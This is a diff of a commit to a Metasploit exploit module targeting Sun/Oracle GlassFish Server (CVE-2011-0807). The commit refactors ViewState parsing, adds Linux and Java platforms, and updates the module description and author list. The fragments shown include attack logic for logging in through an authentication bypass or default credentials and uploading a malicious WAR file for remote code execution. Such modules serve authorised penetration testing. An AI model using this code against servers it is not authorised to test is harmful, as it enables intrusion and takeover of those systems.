4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'nokogiri'
7
8
require 'metasploit/framework/login_scanner/glassfish'
8
9
require 'metasploit/framework/credential_collection'
9
10
@@ -17,33 +18,30 @@ def initialize(info={})
17
18
super ( update_info ( info ,
18
19
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution" ,
19
20
'Description' => %q{
20
- This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
21
- instance using a default credential, uploads, and executes commands via deploying
22
- a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
23
- this module will try to bypass authentication instead by sending lowercase HTTP verbs .
21
+ This module logs in to an GlassFish Server (Open Source or Commercial) using various
22
+ methods (such as authentication bypass, default credentials, or user-supplied login),
23
+ and deploys a malicious war file in order to get remote code execution. It has been
24
+ tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x .
24
25
} ,
25
26
'License' => MSF_LICENSE ,
26
27
'Author' =>
27
28
[
28
- # Msf module for Glassfish 3.0
29
- 'juan vazquez' ,
30
- # Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
31
- 'Joshua Abraham <jabra[at]rapid7.com>' ,
32
- # Rewrite for 3.0, 3.1 (Commercial or Open Source)
33
- 'sinn3r' ,
29
+ 'juan vazquez' , # Msf module for Glassfish 3.0
30
+ 'Joshua Abraham <jabra[at]rapid7.com>' , # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
31
+ 'sinn3r' # Rewrite for everything
34
32
] ,
35
33
'References' =>
36
34
[
37
35
[ 'CVE' , '2011-0807' ] ,
38
- [ 'OSVDB' , '71948' ] ,
36
+ [ 'OSVDB' , '71948' ]
39
37
] ,
40
- 'Platform' => 'win' ,
38
+ 'Platform' => [ 'win' , 'linux' , 'java' ] ,
41
39
'Targets' =>
42
40
[
43
41
[ 'Automatic' , { } ] ,
44
42
[ 'Java Universal' , { 'Arch' => ARCH_JAVA , 'Platform' => 'java' } ] ,
45
43
[ 'Windows Universal' , { 'Arch' => ARCH_X86 , 'Platform' => 'win' } ] ,
46
- [ 'Linux Universal' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ] ,
44
+ [ 'Linux Universal' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
47
45
] ,
48
46
'DisclosureDate' => "Aug 4 2011" ,
49
47
'DefaultTarget' => 0 ) )
@@ -211,9 +209,7 @@ def get_delete_info(session, version, app='')
211
209
return nil
212
210
end
213
211
214
- input_id = "javax.faces.ViewState"
215
- p = /input type="hidden" name="#{ input_id } " id="#{ input_id } " value="(.*)" autocomplete="off"/
216
- viewstate = res . body . scan ( p ) [ 0 ] [ 0 ]
212
+ viewstate = get_viewstate ( res . body )
217
213
218
214
entry = nil
219
215
p = /<a id="(.*)col1:link" href="\/ common\/ applications\/ applicationEdit.jsf.*appName=(.*)">/
@@ -287,8 +283,8 @@ def get_version(res)
287
283
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
288
284
edition = 'Open Source' if banner =~ p
289
285
290
- #Set version. Some GlassFish servers return banner "GlassFish v3".
291
- if banner =~ /(GlassFish Server|Open Source Edition) (\d \. \d )/
286
+ # Set version. Some GlassFish servers return banner "GlassFish v3".
287
+ if banner =~ /(GlassFish Server|Open Source Edition) {1,} (\d \. \d )/
292
288
version = $2
293
289
elsif banner =~ /GlassFish v(\d )/ && version == 'Unknown'
294
290
version = $1
@@ -487,6 +483,22 @@ def get_upload_data(opts = {})
487
483
return data
488
484
end
489
485
486
+ def get_viewstate ( body )
487
+ @vewstate ||= lambda {
488
+ noko = Nokogiri ::HTML ( body )
489
+ inputs = noko . search ( 'input' )
490
+ hidden_inputs = [ ]
491
+ inputs . each { |e | hidden_inputs << e if e . attributes [ 'type' ] . text == 'hidden' }
492
+ hidden_inputs . each do |e |
493
+ if e . attributes [ 'name' ] . text == 'javax.faces.ViewState'
494
+ return e . attributes [ 'value' ] . text
495
+ end
496
+ end
497
+
498
+ ''
499
+ } . call
500
+ end
501
+
490
502
#
491
503
# Upload our payload, and execute it. This function will also try to automatically
492
504
# clean up after itself.
@@ -503,40 +515,27 @@ def upload_exec(opts = {})
503
515
path = "/applications/upload.jsf?appType=webApp"
504
516
res = send_glassfish_request ( path , @verbs [ 'GET' ] , session )
505
517
506
- #Obtain some properties
507
- begin
508
- p1 = /id="javax\. faces\. ViewState" value="(j_id\d {1,5}:j_id\d {1,5})"/mi
509
- p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d +" name="(.*)" checked/mi
510
- viewstate = res . body . scan ( p1 ) [ 0 ] [ 0 ]
511
- status_checkbox = res . body . scan ( p2 ) [ 0 ] [ 0 ]
512
- boundary = rand_text_alphanumeric ( 28 )
513
- rescue
514
- print_error ( "Unable to gather required data for file upload" )
515
- return
516
- end
518
+ # Obtain some properties
519
+ p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d +" name="(.*)" checked/mi
520
+ viewstate = get_viewstate ( res . body )
521
+ status_checkbox = res . body . scan ( p2 ) [ 0 ] [ 0 ]
522
+ boundary = rand_text_alphanumeric ( 28 )
517
523
else
518
524
path = "/common/applications/uploadFrame.jsf"
519
525
res = send_glassfish_request ( path , @verbs [ 'GET' ] , session )
520
526
521
- #Obtain some properties
522
- begin
523
- #start is only for dynamic arguments in POST data
524
- res . body =~ /propertySheetSection(\d {3})/
525
- start = $1
526
- p1 = /"javax\. faces\. ViewState" value="(-?\d +:-?\d +)"/mi
527
- p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
528
- p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
529
-
530
- rnd_text = rand_text_alphanumeric ( 29 )
531
-
532
- viewstate = res . body . scan ( p1 ) [ 0 ] [ 0 ]
533
- typefield = res . body . scan ( p2 ) [ 0 ] [ 0 ]
534
- status_checkbox = res . body . scan ( p3 ) [ 0 ] [ 0 ]
535
- boundary = ( edition == 'Open Source' ) ? rnd_text [ 0 , 15 ] : rnd_text
536
- rescue
537
- print_error ( "Unable to gather required data for file upload" )
538
- return
539
- end
527
+ # Obtain some properties
528
+ res . body =~ /propertySheetSection(\d {3})/
529
+ start = $1
530
+ p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
531
+ p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
532
+
533
+ rnd_text = rand_text_alphanumeric ( 29 )
534
+
535
+ viewstate = get_viewstate ( res . body )
536
+ typefield = res . body . scan ( p2 ) [ 0 ] [ 0 ]
537
+ status_checkbox = res . body . scan ( p3 ) [ 0 ] [ 0 ]
538
+ boundary = ( edition == 'Open Source' ) ? rnd_text [ 0 , 15 ] : rnd_text
540
539
end
541
540
542
541
# Get upload data
@@ -604,7 +603,7 @@ def upload_exec(opts = {})
604
603
# Sleep for a bit before cleanup
605
604
select ( nil , nil , nil , 5 )
606
605
607
- #Start undeploying
606
+ # Start undeploying
608
607
print_status ( "Getting information to undeploy..." )
609
608
viewstate , entry = get_delete_info ( session , version , app_base )
610
609
if !viewstate
@@ -746,7 +745,7 @@ def exploit
746
745
sid = attempt_login ( version )
747
746
748
747
unless sid
749
- fail_with ( Failure ::NoAccess , "#{ my_target_host ( ) } - GlassFish - Failed to authenticate login " )
748
+ fail_with ( Failure ::NoAccess , "#{ my_target_host ( ) } - GlassFish - Failed to authenticate" )
750
749
end
751
750
752
751
selected_target = target . name =~ /Automatic/ ? auto_target ( sid , res , version ) : target
0 commit comments